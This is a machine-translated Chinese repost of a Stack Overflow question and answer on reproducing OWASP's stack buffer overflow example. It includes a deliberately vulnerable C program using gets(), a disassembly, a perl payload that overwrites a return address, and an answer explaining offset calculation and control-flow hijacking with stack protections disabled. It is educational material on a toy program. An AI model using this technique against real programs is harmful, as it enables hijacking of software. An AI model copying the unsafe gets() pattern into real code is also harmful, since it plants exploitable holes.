麻烦复制堆栈缓冲区溢出攻击(Trouble replicating a stack buffer o

2019-10-23 03:46发布

我无法复制由OWASP提供的堆栈缓冲区溢出例子在这里 。

这里是我的尝试:

$ cat test.c
  #include <stdio.h>
  #include <string.h>

  void doit(void)
  {
          char buf[8];

          gets(buf);
          printf("%s\n", buf);
  }

  int main(void)
  {
          printf("So... The End...\n");
          doit();
          printf("or... maybe not?\n");

          return 0;
  }



$ gcc test.c -o test -fno-stack-protection -ggdb

$ objdump -d test # omitted irrelevant parts i think
000000000040054c <doit>:
  40054c:       55                      push   %rbp
  40054d:       48 89 e5                mov    %rsp,%rbp
  400550:       48 83 ec 10             sub    $0x10,%rsp
  400554:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400558:       48 89 c7                mov    %rax,%rdi
  40055b:       e8 d0 fe ff ff          callq  400430 <gets@plt>
  400560:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  400564:       48 89 c7                mov    %rax,%rdi
  400567:       e8 a4 fe ff ff          callq  400410 <puts@plt>
  40056c:       c9                      leaveq
  40056d:       c3                      retq

000000000040056e <main>:
  40056e:       55                      push   %rbp
  40056f:       48 89 e5                mov    %rsp,%rbp
  400572:       bf 4c 06 40 00          mov    $0x40064c,%edi
  400577:       e8 94 fe ff ff          callq  400410 <puts@plt>
  40057c:       e8 cb ff ff ff          callq  40054c <doit>
  400581:       bf 5d 06 40 00          mov    $0x40065d,%edi
  400586:       e8 85 fe ff ff          callq  400410 <puts@plt>
  40058b:       b8 00 00 00 00          mov    $0x0,%eax
  400590:       5d                      pop    %rbp
  400591:       c3                      retq # this is where i took my overflow value from
  400592:       90                      nop
  400593:       90                      nop
  400594:       90                      nop
  400595:       90                      nop
  400596:       90                      nop
  400597:       90                      nop
  400598:       90                      nop
  400599:       90                      nop
  40059a:       90                      nop
  40059b:       90                      nop
  40059c:       90                      nop
  40059d:       90                      nop
  40059e:       90                      nop
  40059f:       90                      nop

$ perl -e 'print "A"x12 ."\x91\x05\x40"' | ./test
So... The End...
AAAAAAAAAAAA▒@
or... maybe not? # this shouldn't be outputted

为什么没有这方面的工作? 我猜想,我应该插入的内存地址是retq<main>

我的目标是要弄清楚如何做到这一点在其他程序中调用一个函数栈缓冲区溢出。 任何帮助深表感谢。 :)

Answer 1:

我使用的是Windows和MSVC但你应该明白我的意思。

考虑下面的代码:

#include <stdio.h>

void someFunc()
{
    puts("wow, we should never get here :|");
}

// MSVC inlines this otherwise
void __declspec(noinline) doit(void)
{
    char buf[8];

    gets(buf);
    printf("%s\n", buf);
}

int main(void)
{
    printf("So... The End...\n");
    doit();
    printf("or... maybe not?\n");

    return 0;
}

(注:我不得不与编译/OPT:NOREF迫使MSVC不删除“未使用”代码和/GS-关闭堆栈检查)

现在,让我们在我最喜欢的反汇编器打开它:

我们想利用这个gets这样的执行跳转到漏洞someFunc 。 我们可以看到,它的地址是001D1000 ,所以如果我们可以写出足够的字节过去缓冲区覆盖返回地址,我们会好的。 让我们来看看堆栈时gets称为:

我们可以看到,有8个字节我们的堆栈分配的缓冲区( buf ),4个字节的一些东西(实际上是PUSH版EBP),并返回地址。 因此,我们需要写12个字节的一切,然后我们4字节的返回地址( 001D1000 )“劫持”的执行流程。 让我们做到这一点 - 我们将准备与我们需要用十六进制编辑器的字节的输入文件:

事实上,当我们与输入运行程序,我们得到这样的:

它打印该行后,它会与访问冲突崩溃,因为有在堆栈上一些垃圾。 然而,并没有什么东西仔细分析代码,并准备在你的输入,字节,该方案将充当正常的(我们可以用的地址覆盖下一个字节阻止你ExitProcess ,使someFunc会跳到那里)。



文章来源: Trouble replicating a stack buffer overflow exploit
标签: c stack overflow